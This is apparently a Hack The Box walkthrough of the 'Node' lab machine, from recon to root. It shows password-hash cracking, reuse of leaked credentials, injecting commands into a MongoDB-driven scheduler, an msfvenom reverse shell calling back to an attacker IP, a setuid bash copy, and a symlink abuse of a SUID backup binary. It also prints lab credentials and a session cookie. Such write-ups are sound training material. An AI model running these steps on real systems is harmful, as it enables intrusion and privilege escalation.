Today we’re going to solve another CTF machine “Node“. It is now retired box and can be accessible if you’re a VIP member.

Specifications

  • Target OS: Linux
  • IP Address: 10.10.10.58
  • Difficulty: Hard

Contents

  • Getting user
  • Getting root

Reconnaissance

As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step we’re gonna identify the target to see what we have behind the IP Address.

nmap -sS -sU -T4 -A -v 10.10.10.58

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (EdDSA)
3000/tcp open  http    Node.js Express framework
| hadoop-datanode-info: 
|_  Logs: /login
|_hadoop-jobtracker-info: 
| hadoop-tasktracker-info: 
|_  Logs: /login
|_hbase-master-info: 
|_http-title: MyPlace

Nmap revels Node.js framework running on port 3000.

Enumeration

Let’s browse the URL http://10.10.10.58/login and we see a login page. which requires username and password.

If you take a look at source code of the page you’ll see several JavaScript files at the bottom of the page.

Let’s take a look at these files.

assets/js/app/app.js
assets/js/app/controllers/home.js
assets/js/app/controllers/login.js
assets/js/app/controllers/admin.js
assets/js/app/controllers/profile.js
assets/js/misc/freelancer.min.js

There’s an interesting JavaScript file which contains important information for us. http://10.10.10.58:3000/assets/js/app/controllers/profile.js and it revels a path “/api/users“.

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},
    {"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},
    {"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},
    {"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

Let’s identify the hash first.

Now, we know it’s SHA-256 let’s crack it.

Online Cracking

myP14ceAdm1nAcc0uNT:manchester

Offline Cracking

john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 hash.txt

Let’s intercept the response and download our backup file which we found through JavaScript paths.

wget --header "Cookie: connect.sid=s%3Abe46867TkllBcgUuZdRYskr8sSapEi7C.TzcXp0kDLhoAQVjqCS7NY0zQv%2F4fLwMUBcgrN7YIm2M" http://10.10.10.58:3000/api/admin/backup

Look’s like we found a file which is encoded into Base64 let’s decode it.

cat backup | base64 -d > backup.zip

The zip file asking for the password let’s crack it using fcrackzip or zipcracker-ng.

fcrackzip -uDp /usr/share/wordlists/rockyou.txt backup.zip 
PASSWORD FOUND!!!!: pw == magicword

zipcracker-ng -f backup.zip -w /usr/share/dict/rockyou.txt

Let’s explore decompressed files from backup.zip and we found credentials inside app.js file.

head -n12 app.js 

const express     = require('express');
const session     = require('express-session');
const bodyParser  = require('body-parser');
const crypto      = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const path        = require("path");
const spawn        = require('child_process').spawn;
const app         = express();
const url         = 'mongodb://mark:[email protected]:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

There are sometimes possibilities that admin can re-use the passwords, so we have another port open which is SSH let’s try our luck.

mark:5AYRft73VtFpc84k

Privilege Escalation

As part of the standard enumeration phase, it’s worth checking all running processes. If we take a look user tom is running our myplace application as well another application called scheduler.

tom       1230  0.0  6.1 1009080 46264 ?       Ssl  Apr04   0:10 /usr/bin/node /var/scheduler/app.js
tom       1235  0.0  9.3 1041916 70932 ?       Ssl  Apr04   0:10 /usr/bin/node /var/www/myplace/app.js

OR

[email protected]:~$ top -u tom
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND                                                                  
 1230 tom       20   0 1009804  33260   8604 S  0.0  4.4   0:25.76 /usr/bin/node /var/scheduler/app.js                                      
 1235 tom       20   0 1041916  53920   8236 S  0.0  7.1   0:22.39 /usr/bin/node /var/www/myplace/app.js

Let’s keep this aside for now and let’s enumerate more. let’s search for odd SUID files.

find / -user root -perm -4000 -print 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/newuidmap
/bin/ping
/bin/umount
/bin/fusermount
/bin/ping6
/bin/ntfs-3g
/bin/su
/bin/mount

OR

[email protected]:~$ find / -perm -4000 -ls 2>/dev/null
   259267     12 -rwsr-xr-x   1 root     root        10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
   297906     80 -rwsr-xr-x   1 root     root        81672 Jul 17  2017 /usr/lib/snapd/snap-confine
   278211     44 -rwsr-xr--   1 root     messagebus    42992 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   278959     40 -rwsr-xr-x   1 root     root          38984 Jun 14  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    17884    420 -rwsr-xr-x   1 root     root         428240 Mar 16  2017 /usr/lib/openssh/ssh-keysign
   282088     16 -rwsr-xr-x   1 root     root          14864 Jan 17  2016 /usr/lib/policykit-1/polkit-agent-helper-1
   303364     20 -rwsr-xr--   1 root     admin         16484 Sep  3  2017 /usr/local/bin/backup
   258944     52 -rwsr-xr-x   1 root     root          49584 May 17  2017 /usr/bin/chfn
   281144     52 -rwsr-sr-x   1 daemon   daemon        51464 Jan 14  2016 /usr/bin/at
   259007     76 -rwsr-xr-x   1 root     root          75304 May 17  2017 /usr/bin/gpasswd
   279006     36 -rwsr-xr-x   1 root     root          32944 May 17  2017 /usr/bin/newgidmap
   258946     40 -rwsr-xr-x   1 root     root          40432 May 17  2017 /usr/bin/chsh
   259166    136 -rwsr-xr-x   1 root     root         136808 Jul  4  2017 /usr/bin/sudo
   282096     24 -rwsr-xr-x   1 root     root          23376 Jan 17  2016 /usr/bin/pkexec
   259071     40 -rwsr-xr-x   1 root     root          39904 May 17  2017 /usr/bin/newgrp
   259082     56 -rwsr-xr-x   1 root     root          54256 May 17  2017 /usr/bin/passwd
   279005     36 -rwsr-xr-x   1 root     root          32944 May 17  2017 /usr/bin/newuidmap
   258636     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /bin/ping
   258671     28 -rwsr-xr-x   1 root     root          27608 Jun 14  2017 /bin/umount
   278644     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount
   258637     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /bin/ping6
   278666    140 -rwsr-xr-x   1 root     root         142032 Jan 28  2017 /bin/ntfs-3g
   258653     40 -rwsr-xr-x   1 root     root          40128 May 17  2017 /bin/su
   258622     40 -rwsr-xr-x   1 root     root          40152 Jun 14  2017 /bin/mount

We have an odd file named backup and owned by root and assigned to group admin.

ls -al /usr/local/bin/backup
-rwsr-xr-- 1 root admin 16484 Sep  3  2017 /usr/local/bin/backup

If we check another user tom it is also a member of group admin.

[email protected]:~$ id tom
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

So, to access that file we need to be user tom or group admin. Our previous finding shows we have a process running under tom.

Let’s take a look at /var/scheduler/app.js

[email protected]:/var/scheduler$ cat app.js 
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:[email protected]:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

Now, let’s access mongodb database, and we can execute any task placed within the tasks table. Let’s create reverse shell using msfvenom and execute it.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f elf -o shell.elf

Let’s transfer our shell to remote ssh.

scp shell.elf [email protected]:/tmp/shell.elf

Now let’s login to mongodb and execute commands and start the listener.

[email protected]:/tmp$ chmod +x shell.elf
[email protected]:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler
> use scheduler
switched to db scheduler
> show collections
tasks
> db.tasks.insertOne({cmd:'/tmp/shell.elf'})
{
        "acknowledged" : true,
        "insertedId" : ObjectId("5ca7a680c5686fccdf4bdb44")
}

Or we can do this without spawning a reverse shell.

[email protected]:/tmp$ mongo scheduler -u mark -p
MongoDB shell version: 3.2.16
Enter password: 
connecting to: scheduler
> db.tasks.insert({"cmd" : "cd /tmp;cp /bin/bash . ;chown tom:admin -R ./*;chmod 6755 ./*"})
WriteResult({ "nInserted" : 1 })
> ^C
bye
[email protected]:/tmp$ file bash 
bash: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04eca96c5bf3e9a300952a29ef3218f00487d37b, stripped
[email protected]:/tmp$ bash -p
[email protected]:/tmp$ ./bash -p
bash-4.3$ id
uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark)
bash-4.3$ 

Now we can access SUID backup file which we found.

/usr/local/bin/backup a b c

We know it’s an executable file but let’s check some strings first.

strings /usr/local/bin/backup

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+Hm
NMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz
/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1
poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSr
H14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2Qvb
dD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk
3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F
+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK7
0RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgx
K2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/t
gtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==                
/root                                                                                                                                       
/etc                                                                                                                                        
/tmp/.backup_%i                                                                                                                             
/usr/bin/zip -r -P magicword %s %s > /dev/null                                                                                              
/usr/bin/base64 -w0 %s

This is what we found Base64 and few commands.

echo -n "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+Hm
NMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz
/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1
poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSr
H14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2Qvb
dD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk
3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F
+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK7
0RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgx
K2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/t
gtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > backup.bin
file backup.bin 
backup.bin: Zip archive data, at least v5.1 to extract

Let’s extract that zip file.

7z e backup.zip

Password can be find in strings: magicword

This extracted root.txt file and contains troll.

If we analyze app.js file and it contains a syntax using backup file.

('/usr/local/bin/backup', ['-q', backup_key, __dirname ])

Let’s locate backup_key

grep -Ri backup_key var/ | sort -u | less
var/www/myplace/app.js:const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
bash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt

We created a link between /root/root.txt -> /dev/shm/master/root.txt

bash-4.3$ mkdir /tmp/master
bash-4.3$ ln -s /root/root.txt /tmp/master
bash-4.3$ ls -1 /tmp/master
root.txt
bash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /dev/shm/master/

And we got root.